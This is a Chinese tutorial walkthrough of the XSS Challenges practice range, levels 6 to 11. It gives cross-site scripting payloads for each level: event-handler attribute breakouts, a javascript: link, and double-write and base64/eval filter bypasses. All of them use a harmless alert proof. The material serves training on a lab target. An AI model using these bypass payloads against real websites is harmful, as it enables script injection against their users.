XSS进阶教程/XSS Challenges5-10/边做题边学习
目录
一、HTML事件
二、XSS Challenges
第六关
编辑
第七关
第八关
第九关
第十关
编辑
第十一关
一、HTML事件
处理器会监视特定的条件或用户行为,如鼠标单击(onclick)或浏览器窗口中完成加载某个图像(onload)。通过使用户客户端的javascript,可以将某些特定的事件处理器作为属性添加给特定的标签,并可以在事件发生时执行一个或多个JavaScript命令或函数,html事件有非常多,具体可以查阅文档。
例如鼠标事件:
二、XSS Challenges
第六关
传统手艺,在value里直接闭合value
构建payload
"><script>alert(document.domain)</script>
不对劲奥,它把<和>转义了
上有政策下有对策,我们直接使用input中的属性,不用尖括号了呗
payload
" onmouseover="alert(document.domain)
注入成功!过关!
使用其它事件,如onclick
" onclick="alert(document.domain)
在点击输入框的时候触发
也过关了,html事件有很多总有一种适合你!
第七关
传统手艺
这看起来跟上一关一模一样啊
直接payload
" onmouseover="alert(document.domain)
会发现这里的引号不起作用了
我们输入一个Chen D,再看一下代码
空格前的进入value了 后面的直接跟在后面了,也就是说这里是用空格分隔的
payload:Chen onmouseover=alert(document.domain)
过关,这道题自动为每一个事件加上了双引号,并且屏蔽了我们手工输入的双引号,我们利用空格分隔的特性构造payload
第八关
可以看到注入点在<a>标签的href中,并且测试了各种闭合都无效,只能用href入手
这里要用到JavaScript伪协议,javascript:URL,这时我们点击该连接则会执行JavaScript语句
注:伪协议中可以存在多条语句,使用分号隔开
这里的payload
javascript:alert(document.domain);
点击链接
过关
第九关
因为第九关是基于UTF-7 的,而现在大部分浏览器都不使用了,所以就跳过了
直接在代码中写进去就行了,然后过关,当然这就是跳关哈没有啥意义
第十关
先传统手艺
尝试注入
发现domain没了,应该是给过滤了,还记得sql注入绕过的方法吗
双写与编码绕过
尝试一下双写 dodomainmain
payload=
ChenD" onmouseover="alert(document.dodomainmain)
编码绕过,将alert(document.domain)base64加密,在代码中使用atob解密,通过eval运行
alert(document.domain)
加密后
YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
payload
ChenD" onmouseover="eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))
或者
ChenD"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
也过关!
第十一关
我也不知道为啥我进不去,那这个靶场就到这里吧,下篇文章换靶场
XSS进阶教程/XSS Challenges5-10/边做题边学习相关推荐
- 纪中国庆10.5做题小结
纪中国庆10.5做题小结 T1:教主的花园 T2:教主泡嫦娥 T3:保镖排队 T4:教主的别墅 T1:教主的花园 Description [问题背景] LHX教主最近总困扰于前来膜拜他的人太多了,所以 ...
- 2020.10月做题记录
PS:本博客仅选择了一些作者认为有必要记录的题目进行记录. week -1 2020.09.28-2020.10.4 军训+国庆放假-就这样又废了一周- 2020.10.04 回来第一天完全没有状态- ...
- 10.5做题——全排列(初赛复习)
1-n中取m个求全排列 #include<iostream> #include<cstring> using namespace std; const int N=25; in ...
- 为了会做题而学习股票定价
目录 红利收益率. 市盈率. 折现现金流方法(DCF). 折现红利模型(DDM). 不变增长率,折现红利模型. 盈利和投资机会. 应用举例. 红利收益率. 市盈率. 折现现金流方法(DCF). 认为: ...
- Redis进阶教程—基础篇-叶向阳-专题视频课程
Redis进阶教程-基础篇-217人已学习 课程介绍 该系列教程涵盖了redis的方方面面,大亮点是实战经验分享总结.系列视频包含Redis基础篇.Redis提升篇.从零编写Redis ...
- 视频教程-Redis进阶教程—基础篇-NoSQL
Redis进阶教程-基础篇 雅座Java架构师,架构开发公司百万级订单支付平台 叶向阳 ¥49.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 APP订阅课程,领取优惠 ...
- javascript进阶教程第二章对象案例实战
javascript进阶教程第二章对象案例实战 一.学习任务 通过几个案例练习回顾学过的知识 通过案例练习补充几个之前没有见到或者虽然讲过单是讲的不仔细的知识点. 二.具体实例 温馨提示 面向对象的知 ...
- Kali beef-xss实现Xss详细教程。
免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 1.XSS简介 (1)XSS简介 XSS作为OWASP TOP 10之一. XSS中文叫做跨站脚 ...
- STM32 进阶教程 10 - RAM中调试程序
前言 在stm32开发过程中,程序调试是一个比较耗时且又重要的问题,特别是在固件代码达到一定的复杂度后,程序下载过程就一个比较耗时过程,同时STM32芯片有FLASH烧写次数有限,像103系列手册中标 ...
最新文章
- 对学习编译原理的看法
- 搭建Jupyter学习环境
- vue中模板编译compiler源码详解
- Angular 自定义 structural 指令的一个例子
- SAP CRM WebClient UI WebUI Runtime repository design
- [个人推荐]函数式编程另类指南[zz]
- C/C++混淆点-左移右移操作符
- 【转】ASP.NET MVC框架下使用MVVM模式-KnockOutJS+JQ模板例子
- 2015 Autodesk 开发者日( DevDays)和 助力开发周火热报名中
- 给ABBYY添加图像的方法
- 中央2套-理财教室-如何购买保险
- sql order by 结合case when then
- ORACLE11g安装过程-windows
- 1.阿里云短信验证操作步骤
- Python基础:字典(dict)与集合(set)
- android多线程实现计时器,方法一、使用Handler和Thread(线程)实现定时器
- 自定义的string类
- C++程序设计试题及答案解析(一)
- JVM 学习笔记(二)垃圾回收
- 儿童专注力训练之找不同2、数数
热门文章
- 动态窗口法的理解和一些细节
- PyQt5 + Python3.7 + OpenCV人脸识别身份认证系统(附源码)
- 三角形周长最短问题_九年级数学,二次函数中三角形周长的最值问题,解题思路很重要...
- 内核中container_of宏的详细分析【转】
- 搭建 本地 远程git 仓库
- Leetcode算法Java全解答--75. 颜色分类
- 对PHP并发、多进程、多线程、异步处理、分布式系统的一些了解
- eclipse下SVN同步时忽略target文件夹
- TCP三次握手、四次挥手以及TIME_WAIT详解
- Python 运算符与数据类型(2)